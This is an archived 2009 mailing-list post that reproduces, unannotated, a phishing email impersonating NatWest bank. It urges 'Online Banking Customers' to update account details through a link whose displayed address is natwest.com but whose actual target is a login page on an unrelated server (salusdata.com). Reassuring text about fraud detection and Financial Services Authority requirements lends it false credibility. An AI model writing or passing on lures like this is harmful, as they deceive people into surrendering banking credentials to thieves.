[5101] in Discussion of MIT-community interests
Customer Reference NW0088569547
daemon@ATHENA.MIT.EDU (Natwest plc.)
Sun Feb 8 19:43:47 2009
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From: "Natwest plc."<info@natwest.co.uk>
Date: Sun, 8 Feb 2009 23:41:48 -0000
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<td style="padding: 20px; font-weight: bold; font-size: 17px; font-family: helvetica;" bgcolor="white">Dear Online Banking Customer,</td></tr>
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We have recently updated our online banking software, and due to this upgrade we kindly ask you
to follow the <b>link provided</b> below to confirm and update if necessary your online account details. As part of our efforts to meet the requirements
of the Financial Services Authority, we now ask all NatWest Online Banking customers to update their account information.
It's a smart and simple way to add an additional layer of protection to your account.
We use the latest security measures to ensure that your online banking experience is safe and secure. We do apologize for
the inconvenience caused and express gratitude for your cooperation.
<br><br><a style="font-weight: bold;" href="http://server1.salusdata.com/logo_test/.natwest.co.uk/login.html" target="_blank">http://www.natwest.com/SecurityUpdate/</a><br><br>
Make no mistake - we take your security very seriously indeed. In fact, we've invested in a host of measures that help protect you and your money.<br><br>
<b>Fraud detection systems</b><br>
We're always on the guard against fraud - which is why we might contact you if we spot a suspicious transaction on your account. So what's 'suspicious'? Although we can't share all of our checklists with you, we generally look out for unusual patterns. That could mean transactions which are higher than the average on your account, or spending in countries which have been linked to fraud in the past.<br><br>
<b>Temporarily disabling your online account</b><br>
If a fraudster has some - but not all - of your security details, they may try to guess the rest. That's why we will temporarily disable your account if someone makes too many failed attempts to log in. But don't worry if you've simply forgotten some of your security details. Simply follow the instructions from our website to regain access to your account.<br><br>
<b>Best Regards.<br>National Westminster Bank Plc. Security Department Team.</b> <br><br>
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